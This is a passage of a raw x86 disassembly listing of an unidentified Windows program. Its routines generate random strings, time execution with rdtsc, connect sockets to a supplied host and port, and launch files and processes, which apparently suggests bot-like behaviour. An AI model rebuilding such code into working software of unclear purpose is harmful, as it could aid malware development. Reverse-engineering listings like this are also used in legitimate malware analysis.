[esp+8+arg_4] push esi xor ebx, ebx xor esi, esi dec eax cmp eax, ebx push edi mov [ebp+0], bl mov byte ptr [esp+10h+arg_4], 1 jle short loc_419E1A mov edi, ebp loc_419DCF: ; CODE XREF: sub_419DB0+68j cmp edi, ebx jz short loc_419E1A cmp byte ptr [esp+10h+arg_4], bl jz short loc_419E1A mov ecx, [esp+10h+arg_0] push ebx push 1 push edi push ecx call dword ptr ds:0C6C13h test eax, eax jz short loc_419E29 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_419DFA cmp al, bl jnz short loc_419E0D loc_419DFA: ; CODE XREF: sub_419DB0+44j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_419E07 mov [esi+ebp-1], bl jmp short loc_419E09 ; --------------------------------------------------------------------------- loc_419E07: ; CODE XREF: sub_419DB0+4Fj mov [edi], bl loc_419E09: ; CODE XREF: sub_419DB0+55j mov byte ptr [esp+10h+arg_4], bl loc_419E0D: ; CODE XREF: sub_419DB0+48j mov edx, [esp+10h+arg_8] inc esi inc edi lea eax, [edx-1] cmp esi, eax jl short loc_419DCF loc_419E1A: ; CODE XREF: sub_419DB0+1Bj ; sub_419DB0+21j ... mov eax, [esp+10h+arg_8] pop edi pop esi mov [eax+ebp-1], bl pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_419E29: ; CODE XREF: sub_419DB0+3Aj pop edi pop esi pop ebp xor al, al pop ebx retn sub_419DB0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_419E50: ; CODE XREF: _294ADE7B:004019FBj push ebx mov ebx, [esp+8] push ebp mov ebp, [esp+10h] mov ecx, ebp push esi mov edx, ecx push edi xor eax, eax mov edi, ebx shr ecx, 2 rep stosd mov ecx, edx xor esi, esi and ecx, 3 test ebp, ebp rep stosb jle short loc_419EAB loc_419E76: ; CODE XREF: _294ADE7B:00419EA9j push 3 push 1 call sub_402018 add esp, 8 dec eax jz short loc_419E97 dec eax jz short loc_419E91 dec eax jnz short loc_419EA6 push 7Ah push 61h jmp short loc_419E9B ; --------------------------------------------------------------------------- loc_419E91: ; CODE XREF: _294ADE7B:00419E86j push 5Ah push 41h jmp short loc_419E9B ; --------------------------------------------------------------------------- loc_419E97: ; CODE XREF: _294ADE7B:00419E83j push 39h push 30h loc_419E9B: ; CODE XREF: _294ADE7B:00419E8Fj ; _294ADE7B:00419E95j call sub_402018 add esp, 8 mov [esi+ebx], al loc_419EA6: ; CODE XREF: _294ADE7B:00419E89j inc esi cmp esi, ebp jl short loc_419E76 loc_419EAB: ; CODE XREF: _294ADE7B:00419E74j pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419ED0 proc near ; CODE XREF: sub_4013C5j rdtsc retn sub_419ED0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419EF0 proc near ; CODE XREF: sub_401735j var_4 = dword ptr -4 sub esp, 8 push ebx mov ebx, ds:dword_4B38CC push ebp push esi push edi xor ebp, ebp loc_419EFF: ; CODE XREF: sub_419EF0+43j ; sub_419EF0+4Dj call sub_4013C5 push 3E8h mov esi, eax mov edi, edx call ebx call sub_4013C5 sub eax, esi push ebp sbb edx, edi push 186A0h push edx push eax call sub_4304C0 push ebp push 0Ah push edx push eax call sub_4304C0 cmp edx, ebp mov esi, eax ja short loc_419EFF jb short loc_419F3F cmp esi, 0F4240h ja short loc_419EFF loc_419F3F: ; CODE XREF: sub_419EF0+45j push ebp push 64h push edx push esi call sub_430440 mov ecx, eax cmp edx, ebp mov eax, 64h mov [esp+18h+var_4], ebp ja short loc_419FC9 jb short loc_419F5F cmp ecx, 50h jnb short loc_419F68 loc_419F5F: ; CODE XREF: sub_419EF0+68j mov eax, 4Bh mov [esp+18h+var_4], ebp loc_419F68: ; CODE XREF: sub_419EF0+6Dj cmp edx, ebp ja short loc_419FC9 jb short loc_419F73 cmp ecx, 47h jnb short loc_419F7C loc_419F73: ; CODE XREF: sub_419EF0+7Cj mov eax, 42h mov [esp+18h+var_4], ebp loc_419F7C: ; CODE XREF: sub_419EF0+81j cmp edx, ebp ja short loc_419FC9 jb short loc_419F87 cmp ecx, 37h jnb short loc_419F90 loc_419F87: ; CODE XREF: sub_419EF0+90j mov eax, 32h mov [esp+18h+var_4], ebp loc_419F90: ; CODE XREF: sub_419EF0+95j cmp edx, ebp ja short loc_419FC9 jb short loc_419F9B cmp ecx, 26h jnb short loc_419FA4 loc_419F9B: ; CODE XREF: sub_419EF0+A4j mov eax, 21h mov [esp+18h+var_4], ebp loc_419FA4: ; CODE XREF: sub_419EF0+A9j cmp edx, ebp ja short loc_419FC9 jb short loc_419FAF cmp ecx, 1Eh jnb short loc_419FB8 loc_419FAF: ; CODE XREF: sub_419EF0+B8j mov eax, 19h mov [esp+18h+var_4], ebp loc_419FB8: ; CODE XREF: sub_419EF0+BDj cmp edx, ebp ja short loc_419FC9 jb short loc_419FC3 cmp ecx, 0Ah jnb short loc_419FC9 loc_419FC3: ; CODE XREF: sub_419EF0+CCj xor eax, eax mov [esp+18h+var_4], ebp loc_419FC9: ; CODE XREF: sub_419EF0+66j ; sub_419EF0+7Aj ... sub eax, ecx pop edi add eax, esi pop esi pop ebp pop ebx add esp, 8 retn sub_419EF0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A020 proc near ; CODE XREF: sub_401EBFj var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_41A020 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h mov al, ds:byte_4405C1 push ebx push esi push edi test al, al mov [esp+4Ch+var_40], 0 jz loc_41A17F push ebp lea ecx, [esp+50h+var_3C] call sub_4013CF push 400h lea ecx, [esp+54h+var_3C] mov [esp+54h+var_4], 1 xor bl, bl call sub_401B40 mov ebp, eax call sub_401DB1 lea ecx, [esp+50h+var_3C] call sub_401384 mov [esp+50h+arg_4], eax lea eax, [esp+50h+arg_4] push eax push ebp call ds:dword_4B38E4 test eax, eax jnz short loc_41A0B6 mov edi, offset byte_43FDC8 or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb loc_41A0B6: ; CODE XREF: sub_41A020+74j movsx ecx, byte ptr [ebp+0] mov eax, 41h loc_41A0BF: ; CODE XREF: sub_41A020+A9j cmp ecx, eax jnz short loc_41A0C5 mov bl, 1 loc_41A0C5: ; CODE XREF: sub_41A020+A1j inc eax cmp eax, 5Bh jl short loc_41A0BF mov eax, 61h loc_41A0D0: ; CODE XREF: sub_41A020+BAj cmp ecx, eax jnz short loc_41A0D6 mov bl, 1 loc_41A0D6: ; CODE XREF: sub_41A020+B2j inc eax cmp eax, 7Bh jl short loc_41A0D0 test bl, bl jnz short loc_41A102 mov edi, offset byte_43FDC8 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_41A102: ; CODE XREF: sub_41A020+BEj mov esi, ds:dword_4B3A9C call esi cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401122 call esi cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401122 call esi cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401122 mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_3C] push edx mov ecx, esi call sub_40146F mov [esp+50h+var_40], 1 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 0 call sub_4011F9 pop ebp mov eax, esi pop edi pop esi pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn ; --------------------------------------------------------------------------- loc_41A17F: ; CODE XREF: sub_41A020+2Aj lea ecx, [esp+4Ch+var_24] call sub_4013CF mov ebx, 2 mov [esp+4Ch+var_4], ebx call ds:dword_4B38D0 push eax call ds:dword_4B3AA0 mov edi, ds:dword_4B3A9C add esp, 4 call edi cdq mov ecx, 3 idiv ecx lea ecx, [esp+4Ch+var_24] mov esi, edx mov edx, [esp+4Ch+arg_4] push edx add esi, 6 call sub_401564 test esi, esi jle short loc_41A21E loc_41A1C8: ; CODE XREF: sub_41A020+1FCj lea ecx, [esp+4Ch+var_3C] call sub_4013CF lea eax, [esp+4Ch+var_24] lea ecx, [esp+4Ch+var_3C] push eax mov byte ptr [esp+50h+var_4], 3 call sub_401E65 call edi cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+4Ch+var_3C] add edx, 61h push edx call sub_401726 push eax lea edx, [esp+54h+var_24] push offset dword_43BD58 push edx call sub_40102D add esp, 10h lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], bl call sub_4011F9 dec esi jnz short loc_41A1C8 loc_41A21E: ; CODE XREF: sub_41A020+1A6j mov esi, [esp+4Ch+arg_0] lea eax, [esp+4Ch+var_24] push eax mov ecx, esi call sub_40146F lea ecx, [esp+4Ch+var_24] mov [esp+4Ch+var_40], 1 mov byte ptr [esp+4Ch+var_4], 0 call sub_4011F9 mov ecx, [esp+4Ch+var_C] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 40h retn sub_41A020 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41A2F0: ; CODE XREF: _294ADE7B:00401500j mov al, [esp+4] cmp al, 20h jz short loc_41A2FF cmp al, 9 jz short loc_41A2FF xor al, al retn ; --------------------------------------------------------------------------- loc_41A2FF: ; CODE XREF: _294ADE7B:0041A2F6j ; _294ADE7B:0041A2FAj mov al, 1 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41A320: ; CODE XREF: _294ADE7B:00401D9Dj mov eax, [esp+4] push offset word_43BD60 push eax call ds:dword_4B3A90 add esp, 8 test eax, eax jz short loc_41A344 push eax call ds:dword_4B3A94 add esp, 4 mov al, 1 retn ; --------------------------------------------------------------------------- loc_41A344: ; CODE XREF: _294ADE7B:0041A335j xor al, al retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41A360: ; CODE XREF: _294ADE7B:00401424j sub esp, 30h push ebx push ebp push esi push edi mov edi, [esp+44h] test edi, edi jz loc_41A5BE mov esi, offset byte_43FDC8 mov eax, edi loc_41A37A: ; CODE XREF: _294ADE7B:0041A39Cj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41A3A2 test cl, cl jz short loc_41A39E mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41A3A2 add eax, 2 add esi, 2 test cl, cl jnz short loc_41A37A loc_41A39E: ; CODE XREF: _294ADE7B:0041A386j xor eax, eax jmp short loc_41A3A7 ; --------------------------------------------------------------------------- loc_41A3A2: ; CODE XREF: _294ADE7B:0041A382j ; _294ADE7B:0041A392j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41A3A7: ; CODE XREF: _294ADE7B:0041A3A0j test eax, eax jz loc_41A5BE push 20h lea eax, [esp+24h] push edi push eax call ds:dword_4B3AE0 mov edi, ds:dword_4B3AD8 lea ecx, [esp+2Ch] push offset dword_43B7F8 push ecx call edi add esp, 14h mov [esp+10h], eax test eax, eax jz loc_41A5BE mov ebx, 1 lea esi, [esp+14h] loc_41A3E7: ; CODE XREF: _294ADE7B:0041A404j push offset dword_43B7F8 push 0 call edi add esp, 8 mov [esi], eax test eax, eax jz loc_41A5BE inc ebx add esi, 4 cmp ebx, 4 jl short loc_41A3E7 mov ebp, [esp+10h] mov esi, offset dword_43BD7C mov eax, ebp loc_41A411: ; CODE XREF: _294ADE7B:0041A433j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41A439 test dl, dl jz short loc_41A435 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41A439 add eax, 2 add esi, 2 test dl, dl jnz short loc_41A411 loc_41A435: ; CODE XREF: _294ADE7B:0041A41Dj xor eax, eax jmp short loc_41A43E ; --------------------------------------------------------------------------- loc_41A439: ; CODE XREF: _294ADE7B:0041A419j ; _294ADE7B:0041A429j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41A43E: ; CODE XREF: _294ADE7B:0041A437j test eax, eax jnz short loc_41A44C pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41A44C: ; CODE XREF: _294ADE7B:0041A440j mov esi, offset dword_43BD78 mov eax, ebp loc_41A453: ; CODE XREF: _294ADE7B:0041A475j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41A47B test dl, dl jz short loc_41A477 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41A47B add eax, 2 add esi, 2 test dl, dl jnz short loc_41A453 loc_41A477: ; CODE XREF: _294ADE7B:0041A45Fj xor eax, eax jmp short loc_41A480 ; --------------------------------------------------------------------------- loc_41A47B: ; CODE XREF: _294ADE7B:0041A45Bj ; _294ADE7B:0041A46Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41A480: ; CODE XREF: _294ADE7B:0041A479j mov edi, [esp+14h] test eax, eax jnz short loc_41A4CA mov esi, offset dword_43BD74 mov edx, edi loc_41A48F: ; CODE XREF: _294ADE7B:0041A4B1j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41A4B7 test bl, bl jz short loc_41A4B3 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41A4B7 add edx, 2 add esi, 2 test bl, bl jnz short loc_41A48F loc_41A4B3: ; CODE XREF: _294ADE7B:0041A49Bj xor edx, edx jmp short loc_41A4BC ; --------------------------------------------------------------------------- loc_41A4B7: ; CODE XREF: _294ADE7B:0041A497j ; _294ADE7B:0041A4A7j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41A4BC: ; CODE XREF: _294ADE7B:0041A4B5j test edx, edx jnz short loc_41A4CA pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41A4CA: ; CODE XREF: _294ADE7B:0041A486j ; _294ADE7B:0041A4BEj mov esi, offset dword_43BD70 mov edx, ebp loc_41A4D1: ; CODE XREF: _294ADE7B:0041A4F3j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41A4F9 test bl, bl jz short loc_41A4F5 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41A4F9 add edx, 2 add esi, 2 test bl, bl jnz short loc_41A4D1 loc_41A4F5: ; CODE XREF: _294ADE7B:0041A4DDj xor edx, edx jmp short loc_41A4FE ; --------------------------------------------------------------------------- loc_41A4F9: ; CODE XREF: _294ADE7B:0041A4D9j ; _294ADE7B:0041A4E9j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41A4FE: ; CODE XREF: _294ADE7B:0041A4F7j test edx, edx jnz short loc_41A544 mov esi, offset dword_43BD6C mov edx, edi loc_41A509: ; CODE XREF: _294ADE7B:0041A52Bj mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41A531 test bl, bl jz short loc_41A52D mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41A531 add edx, 2 add esi, 2 test bl, bl jnz short loc_41A509 loc_41A52D: ; CODE XREF: _294ADE7B:0041A515j xor edx, edx jmp short loc_41A536 ; --------------------------------------------------------------------------- loc_41A531: ; CODE XREF: _294ADE7B:0041A511j ; _294ADE7B:0041A521j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41A536: ; CODE XREF: _294ADE7B:0041A52Fj test edx, edx jnz short loc_41A544 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41A544: ; CODE XREF: _294ADE7B:0041A500j ; _294ADE7B:0041A538j mov esi, offset dword_43BD68 mov ecx, ebp loc_41A54B: ; CODE XREF: _294ADE7B:0041A56Dj mov al, [ecx] mov bl, [esi] mov dl, al cmp al, bl jnz short loc_41A573 test dl, dl jz short loc_41A56F mov al, [ecx+1] mov bl, [esi+1] mov dl, al cmp al, bl jnz short loc_41A573 add ecx, 2 add esi, 2 test dl, dl jnz short loc_41A54B loc_41A56F: ; CODE XREF: _294ADE7B:0041A557j xor ecx, ecx jmp short loc_41A578 ; --------------------------------------------------------------------------- loc_41A573: ; CODE XREF: _294ADE7B:0041A553j ; _294ADE7B:0041A563j sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_41A578: ; CODE XREF: _294ADE7B:0041A571j test ecx, ecx jnz short loc_41A5BE mov esi, offset dword_43BD64 mov eax, edi loc_41A583: ; CODE XREF: _294ADE7B:0041A5A5j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41A5AB test cl, cl jz short loc_41A5A7 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41A5AB add eax, 2 add esi, 2 test cl, cl jnz short loc_41A583 loc_41A5A7: ; CODE XREF: _294ADE7B:0041A58Fj xor eax, eax jmp short loc_41A5B0 ; --------------------------------------------------------------------------- loc_41A5AB: ; CODE XREF: _294ADE7B:0041A58Bj ; _294ADE7B:0041A59Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41A5B0: ; CODE XREF: _294ADE7B:0041A5A9j test eax, eax jnz short loc_41A5BE pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41A5BE: ; CODE XREF: _294ADE7B:0041A36Dj ; _294ADE7B:0041A3A9j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A670 proc near ; CODE XREF: sub_401EA1j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx push esi push 6 push 1 push 2 xor bl, bl call ds:dword_4B3CAC mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41A6D8 cmp esi, 0FFFFFFFFh jz short loc_41A6D8 mov eax, [esp+18h+arg_0] push eax call ds:dword_4B3CBC mov ecx, [esp+18h+arg_4] mov [esp+18h+var_C], eax push ecx call ds:dword_4B3CB0 lea edx, [esp+18h+var_10] push 10h push edx push esi mov [esp+24h+var_E], ax mov [esp+24h+var_10], 2 call ds:dword_4B3CB4 test eax, eax jnz short loc_41A6C9 mov bl, 1 loc_41A6C9: ; CODE XREF: sub_41A670+55j push esi call ds:dword_4B3CA8 mov al, bl pop esi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_41A6D8: ; CODE XREF: sub_41A670+18j ; sub_41A670+1Dj pop esi xor al, al pop ebx add esp, 10h retn sub_41A670 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A700 proc near ; CODE XREF: sub_401262j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push 0 push eax push ecx push offset aOpen ; "open" push 0 call ds:dword_4B3BE4 cmp eax, 20h setnl al retn sub_41A700 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A740 proc near ; CODE XREF: sub_401FBEj var_54 = byte ptr -54h var_44 = dword ptr -44h var_14 = word ptr -14h arg_0 = dword ptr 4 sub esp, 54h push edi mov ecx, 11h xor eax, eax lea edi, [esp+58h+var_44] rep stosd mov [esp+58h+var_14], ax lea eax, [esp+58h+var_54] mov edx, [esp+58h+arg_0] lea ecx, [esp+58h+var_44] push eax push ecx push 0 push 0 push 28h push 0 push 0 push 0 push edx push 0 mov [esp+80h+var_44], 44h call ds:dword_4B38DC test eax, eax setnle al pop edi add esp, 54h retn sub_41A740 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41A7B0: ; CODE XREF: _294ADE7B:004017B7j sub esp, 354h mov eax, ds:off_43BD88 mov ecx, ds:off_43BD8C mov [esp+0], eax mov al, ds:byte_43FDC8 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, ds:dword_43BD90 rep stosd mov ecx, ds:dword_43BD80 mov [esp+10h], edx mov dx, ds:word_43BD84 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] xor edi, edi push eax push 0FFFFFFFFh push ecx push edi push edi call ds:dword_4B3890 mov esi, ds:dword_4B3A8C lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi mov esi, [esp+374h] add esp, 10h lea eax, [esp+12Ch] push edi push offset dword_4AFD3C push offset dword_4AFD3C push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+14h], eax mov [esi+1Ch], edi call sub_430AB6 cmp eax, 5 jz short loc_41A898 cmp eax, 4C3h jnz short loc_41A8A1 loc_41A898: ; CODE XREF: _294ADE7B:0041A88Fj push edi push edi push edi push esi call sub_430AB6 loc_41A8A1: ; CODE XREF: _294ADE7B:0041A896j pop edi cmp eax, 5 pop esi jz short loc_41A8B8 cmp eax, 4C3h jz short loc_41A8B8 mov al, 1 add esp, 354h retn ; --------------------------------------------------------------------------- loc_41A8B8: ; CODE XREF: _294ADE7B:0041A8A6j ; _294ADE7B:0041A8ADj xor al, al add esp, 354h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41A920: ; CODE XREF: _294ADE7B:00401D8Ej sub esp, 354h mov eax, ds:off_43BD88 mov ecx, ds:off_43BD8C mov [esp+0], eax mov al, ds:byte_43FDC8 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, ds:dword_43BD90 rep stosd mov ecx, ds:dword_43BD80 mov [esp+10h], edx mov dx, ds:word_43BD84 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] push eax push 0FFFFFFFFh push ecx push 0 push 0 call ds:dword_4B3890 mov esi, ds:dword_4B3A8C lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi add esp, 10h lea eax, [esp+12Ch] push 0 push 0 push eax call sub_430ABC test eax, eax jz short loc_41AA08 mov esi, ds:dword_4B38CC loc_41A9EC: ; CODE XREF: _294ADE7B:0041AA06j push 7D0h call esi push 0 lea ecx, [esp+130h] push 0 push ecx call sub_430ABC test eax, eax jnz short loc_41A9EC loc_41AA08: ; CODE XREF: _294ADE7B:0041A9E4j pop edi mov al, 1 pop esi add esp, 354h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AA60 proc near ; CODE XREF: sub_401C58j var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41AA60 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 0Ch push 4 push 4Fh push 10h push 14h lea eax, [esp+5Ch+var_3C] push 6 mov esi, ecx push eax call sub_4018DE add esp, 20h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_401726 lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_43FFB0 call sub_401523 or edi, 0FFFFFFFFh lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], edi call sub_4011F9 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h lea edx, [esp+60h+var_3C] push 6 push edx call sub_4018DE add esp, 24h push esi mov ecx, eax mov [esp+48h+var_4], 1 call sub_401726 push eax lea eax, [esi+118h] push eax mov ecx, offset dword_43FFB0 call sub_401523 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], edi call sub_4011F9 push 0 push 10h push 15h push 4Fh push 10h push 14h lea ecx, [esp+5Ch+var_3C] push 6 push ecx call sub_4018DE add esp, 20h push esi mov ecx, eax mov [esp+48h+var_4], 2 call sub_401726 lea edx, [esi+0EAh] push eax push edx mov ecx, offset dword_43FFB0 call sub_401523 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], edi call sub_4011F9 push 0 push 0Ch push 4 push 4Fh push 10h push 14h push 14h lea eax, [esp+60h+var_3C] push 8 push eax call sub_4018DE add esp, 24h push esi mov ecx, eax mov [esp+48h+var_4], 3 call sub_401726 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_43FFB0 call sub_401523 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], edi call sub_4011F9 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h push 14h lea edx, [esp+64h+var_3C] push 8 push edx call sub_4018DE add esp, 28h push esi mov ecx, eax mov [esp+48h+var_4], 4 call sub_401726 push eax lea eax, [esi+60h] push eax mov ecx, offset dword_43FFB0 call sub_401523 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], edi call sub_4011F9 push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 4Fh push 10h push 14h push 14h lea ecx, [esp+70h+var_24] push 8 push ecx call sub_4018DE add esp, 34h push esi mov ecx, eax mov [esp+48h+var_4], 5 call sub_401726 add esi, 32h push eax push esi mov ecx, offset dword_43FFB0 call sub_401523 lea ecx, [esp+44h+var_24] mov [esp+44h+var_4], edi call sub_4011F9 mov ecx, [esp+44h+var_C] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn sub_41AA60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41ACE0 proc near ; CODE XREF: sub_40105Fj var_111 = byte ptr -111h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_F4 = byte ptr -0F4h var_DC = byte ptr -0DCh var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_94 = byte ptr -94h var_7C = byte ptr -7Ch var_67 = byte ptr -67h var_52 = byte ptr -52h var_3D = byte ptr -3Dh var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_41ACE0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 108h push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+124h+var_10C] call sub_4013CF lea ecx, [esp+124h+var_DC] mov [esp+124h+var_4], 0 call sub_4013CF lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_4013CF lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_4013CF lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_4013CF lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_401A41 mov esi, [esp+124h+arg_0] mov bl, 5 lea ecx, [ebp+8Eh] mov byte ptr [esp+124h+var_4], bl lea edi, [esi+7Eh] call sub_401726 push eax mov ecx, edi call sub_4012B7 lea ecx, [ebp+4] call sub_401726 push eax mov ecx, edi call sub_4012B7 test eax, eax jnz loc_41AF0C push offset dword_43B600 lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_401622 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 6 push ecx mov ecx, eax call sub_4015F5 push eax call sub_401861 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_4011F9 mov al, [esp+124h+var_111] test al, al jnz loc_41B871 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401E65 push offset asc_43BB68 ; ":" lea ecx, [esp+128h+var_10C] call sub_4019BA mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401122 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401E65 push 1 push offset dword_43B600 lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011C2 push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 7 call sub_401E65 lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_4011F9 push 94h call sub_43034A add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 8 jz short loc_41AE9C mov ecx, eax call sub_402031 mov edi, eax jmp short loc_41AE9E ; --------------------------------------------------------------------------- loc_41AE9C: ; CODE XREF: sub_41ACE0+1AFj xor edi, edi loc_41AE9E: ; CODE XREF: sub_41ACE0+1BAj lea eax, [esp+124h+var_10C] lea 